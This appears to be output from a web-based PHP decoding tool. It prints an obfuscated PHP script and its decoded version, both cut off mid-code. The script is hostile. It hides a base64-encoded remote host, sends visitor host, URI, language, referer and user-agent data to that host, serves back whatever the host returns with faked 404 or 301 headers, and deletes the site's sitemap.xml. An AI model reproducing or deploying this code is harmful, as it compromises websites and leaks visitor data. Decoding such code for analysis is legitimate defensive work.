Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto cl3c1; lefbl: if (strstr($unzhe, "\156\x6f\164\144\x6f\x61\156\171\x74\x68\151\..

Decoded Output download

<?php goto cl3c1; lefbl: if (strstr($unzhe, "notdoanything")) { goto dnkck; } goto fjq3t; cv077: ckomu: goto dkdsz; hb7hi: $lnw0j = urlencode(strtolower($_server["HTTP_USER_AGENT"])); goto q7vz6; wbog5: $or1f1 = urlencode($_server["HTTP_HOST"]); goto pksn2; lxcib: if (strstr($unzhe, "echo500pagecontent")) { goto p5rzu; } goto g0efa; fvcpu: echo $unzhe; goto gmr3a; y1xen: @header("Content-type: text/html; charset=utf-8"); goto xzswj; qy11q: if (strstr($unzhe, "echoxmlcontent")) { goto eiduv; } goto e8uoj; sy814: if (!isset($_server["HTTP_REFERER"])) { goto v_zjf; } goto qyz14; pksn2: $iwwo7 = urlencode($iwwo7); goto bgds8; g0efa: if (strstr($unzhe, "echo404pagecontent")) { goto xfndi; } goto phkv0; fjq3t: if (strstr($unzhe, "echohtmlcontent")) { goto oj14n; } goto qy11q; w3vn2: ulh3n: goto uzhpv; ph_gr: goto rslct; goto yabzj; sdvq6: goto ulh3n; goto cv077; pmr0r: @header("HTTP/1.1 404 Not Found"); goto akqcq; hxoak: $iwwo7 = urlencode(@$_server["HTTP_ACCEPT_LANGUAGE"]); goto wbog5; gyj3j: r8r4s: goto kxjhc; bgds8: $dy9yw = ''; goto sy814; kxjhc: if (!file_exists($bhmlw = $mp9ad . "/sitemap.xml")) { goto qzcol; } goto mrusm; mrusm: @unlink($bhmlw); goto sqcsc; qztuz: goto uudsv; goto rk14_; kiwvj: $trtmt = "ejRob25yLmJlbm5lY2RtLnRvcA=="; goto ezmcl; xzswj: $unzhe = str_replace("echohtmlcontent", '', $unzhe); goto fvcpu; opg_f: echo sberl($unzhe); goto sdopx; b6ee8: goto lrgo_; goto vwuyw; cf19k: $mp9ad = dirname(__file__); goto tqriv; leokv: $mp9ad = $_server["DOCUMENT_ROOT"]; goto gyj3j; vwuyw: eiduv: goto lavl1; ezmcl: $qubsc = "http"; goto recms; twy6x: @ignore_user_abort(1); goto vw34j; jggxk: r4zg3: goto leokv; arbzx: $pgxwy = "http" . "://" . $epfjx . "/indexone.php?my_host=" . $or1f1 . "&my_uri=" . $s_j3t . "&my_lang=" . $iwwo7 . "&my_origin=" . $dy9yw . "&http_type=" . $qubsc . "&my_agent=" . $lnw0j . "&my_id=" . $cv8ej; goto jnqwx; sdopx: exit; goto xeclg; lboil: $dy9yw = urlencode($dy9yw); goto hb7hi; grrss: dnkck: goto bv1a_; rk5ip: $epfjx = urldecode(base64_decode($trtmt)); goto hxoak; fl20j: $unzhe = str_replace("echopingxmlcontent", '', $unzhe); goto rnzkg; dkdsz: $qubsc = "https"; goto w3vn2; lk8uw: gavds: goto kp7k4; akqcq: exit; goto vmag9; phkv0: if (!strstr($unzhe, "echo301pagecontent")) { goto gavds; } goto skxmd; lp9od: echo trim($unzhe); goto ddwvo; kp7k4: goto hb3r3; goto hd_qy; e8ayw: exit; goto lk8uw; jnqwx: $unzhe = trim(uaxkf($pgxwy)); goto lefbl; cl3c1: @set_time_limit(0); goto zba3h; uzhpv: $s_j3t = urlencode(bcwgj()); goto rk5ip; zba3h: @error_reporting(0); goto twy6x; cfnng: goto um7um; goto ebpvc; cgrja: uudsv: goto cfnng; cc91j: function uaxkf($pgxwy) { goto vyady; jn3ll: if ($zczf9) { goto dozz5; } goto iiooa; ryhni: curl_setopt($wafeu, curlopt_connecttimeout, 30); goto zozal; vyady: $zczf9 = ''; goto qntqf; iiooa: $wafeu = curl_init(); goto u6ucf; yxar8: curl_setopt($wafeu, curlopt_returntransfer, 1); goto ryhni; u6ucf: curl_setopt($wafeu, curlopt_url, $pgxwy); goto njuc7; atvnq: curl_setopt($wafeu, curlopt_ssl_verifypeer, 0); goto yxar8; g1vbl: return $zczf9; goto  
?>

Did this file decode correctly?

Original Code

<?php goto cl3c1; lefbl: if (strstr($unzhe, "\156\x6f\164\144\x6f\x61\156\171\x74\x68\151\156\x67")) { goto dnkck; } goto fjq3t; cv077: ckomu: goto dkdsz; hb7hi: $lnw0j = urlencode(strtolower($_server["\110\124\x54\120\137\125\123\105\122\x5f\x41\x47\105\116\124"])); goto q7vz6; wbog5: $or1f1 = urlencode($_server["\110\x54\124\x50\137\110\x4f\123\x54"]); goto pksn2; lxcib: if (strstr($unzhe, "\x65\x63\x68\x6f\65\x30\60\160\x61\147\145\x63\x6f\x6e\x74\x65\156\x74")) { goto p5rzu; } goto g0efa; fvcpu: echo $unzhe; goto gmr3a; y1xen: @header("\x43\157\x6e\164\x65\x6e\x74\55\x74\171\160\145\72\40\x74\x65\170\164\57\x68\x74\155\x6c\73\x20\x63\x68\141\x72\x73\145\x74\75\165\x74\146\x2d\x38"); goto xzswj; qy11q: if (strstr($unzhe, "\145\143\x68\x6f\170\155\x6c\143\157\156\164\145\x6e\164")) { goto eiduv; } goto e8uoj; sy814: if (!isset($_server["\110\124\x54\120\x5f\x52\x45\x46\105\122\105\122"])) { goto v_zjf; } goto qyz14; pksn2: $iwwo7 = urlencode($iwwo7); goto bgds8; g0efa: if (strstr($unzhe, "\x65\143\150\157\x34\60\64\160\x61\x67\145\143\x6f\x6e\x74\x65\156\x74")) { goto xfndi; } goto phkv0; fjq3t: if (strstr($unzhe, "\145\x63\x68\x6f\x68\x74\x6d\154\x63\x6f\x6e\x74\145\x6e\x74")) { goto oj14n; } goto qy11q; w3vn2: ulh3n: goto uzhpv; ph_gr: goto rslct; goto yabzj; sdvq6: goto ulh3n; goto cv077; pmr0r: @header("\110\x54\x54\x50\57\x31\56\x31\40\64\60\64\40\x4e\x6f\x74\x20\x46\x6f\x75\156\x64"); goto akqcq; hxoak: $iwwo7 = urlencode(@$_server["\x48\x54\x54\120\x5f\x41\x43\x43\x45\120\124\137\114\x41\116\107\x55\101\x47\105"]); goto wbog5; gyj3j: r8r4s: goto kxjhc; bgds8: $dy9yw = ''; goto sy814; kxjhc: if (!file_exists($bhmlw = $mp9ad . "\57\x73\151\164\x65\x6d\x61\x70\56\170\155\x6c")) { goto qzcol; } goto mrusm; mrusm: @unlink($bhmlw); goto sqcsc; qztuz: goto uudsv; goto rk14_; kiwvj: $trtmt = "\x65\x6a\122\157\142\x32\65\171\114\155\x4a\x6c\x62\155\x35\x6c\x59\x32\122\164\114\156\122\x76\x63\x41\x3d\x3d"; goto ezmcl; xzswj: $unzhe = str_replace("\145\143\x68\x6f\x68\x74\x6d\154\143\157\156\x74\145\x6e\x74", '', $unzhe); goto fvcpu; opg_f: echo sberl($unzhe); goto sdopx; b6ee8: goto lrgo_; goto vwuyw; cf19k: $mp9ad = dirname(__file__); goto tqriv; leokv: $mp9ad = $_server["\x44\x4f\x43\125\115\105\116\124\x5f\122\x4f\117\124"]; goto gyj3j; vwuyw: eiduv: goto lavl1; ezmcl: $qubsc = "\150\x74\164\x70"; goto recms; twy6x: @ignore_user_abort(1); goto vw34j; jggxk: r4zg3: goto leokv; arbzx: $pgxwy = "\150\164\x74\x70" . "\72\57\57" . $epfjx . "\x2f\x69\x6e\x64\145\x78\x6f\156\x65\56\160\150\x70\77\155\171\137\150\157\163\164\75" . $or1f1 . "\x26\155\171\x5f\165\x72\x69\75" . $s_j3t . "\46\155\171\137\x6c\x61\156\x67\x3d" . $iwwo7 . "\46\155\171\137\157\x72\151\x67\151\x6e\75" . $dy9yw . "\x26\150\164\164\x70\137\x74\x79\160\145\75" . $qubsc . "\46\155\171\137\x61\x67\x65\156\x74\75" . $lnw0j . "\x26\155\171\x5f\x69\144\x3d" . $cv8ej; goto jnqwx; sdopx: exit; goto xeclg; lboil: $dy9yw = urlencode($dy9yw); goto hb7hi; grrss: dnkck: goto bv1a_; rk5ip: $epfjx = urldecode(base64_decode($trtmt)); goto hxoak; fl20j: $unzhe = str_replace("\145\143\150\x6f\160\151\156\147\x78\x6d\x6c\143\157\x6e\x74\x65\156\x74", '', $unzhe); goto rnzkg; dkdsz: $qubsc = "\150\x74\164\160\163"; goto w3vn2; lk8uw: gavds: goto kp7k4; akqcq: exit; goto vmag9; phkv0: if (!strstr($unzhe, "\145\143\x68\157\63\x30\x31\160\141\147\145\x63\157\156\164\145\156\164")) { goto gavds; } goto skxmd; lp9od: echo trim($unzhe); goto ddwvo; kp7k4: goto hb3r3; goto hd_qy; e8ayw: exit; goto lk8uw; jnqwx: $unzhe = trim(uaxkf($pgxwy)); goto lefbl; cl3c1: @set_time_limit(0); goto zba3h; uzhpv: $s_j3t = urlencode(bcwgj()); goto rk5ip; zba3h: @error_reporting(0); goto twy6x; cfnng: goto um7um; goto ebpvc; cgrja: uudsv: goto cfnng; cc91j: function uaxkf($pgxwy) { goto vyady; jn3ll: if ($zczf9) { goto dozz5; } goto iiooa; ryhni: curl_setopt($wafeu, curlopt_connecttimeout, 30); goto zozal; vyady: $zczf9 = ''; goto qntqf; iiooa: $wafeu = curl_init(); goto u6ucf; yxar8: curl_setopt($wafeu, curlopt_returntransfer, 1); goto ryhni; u6ucf: curl_setopt($wafeu, curlopt_url, $pgxwy); goto njuc7; atvnq: curl_setopt($wafeu, curlopt_ssl_verifypeer, 0); goto yxar8; g1vbl: return $zczf9; goto 
?>

Function Calls

None

Variables

None

Stats

MD5 b43eef5d8ccfd3c957b4ade0770bcc55
Eval Count 0
Decode Time 110 ms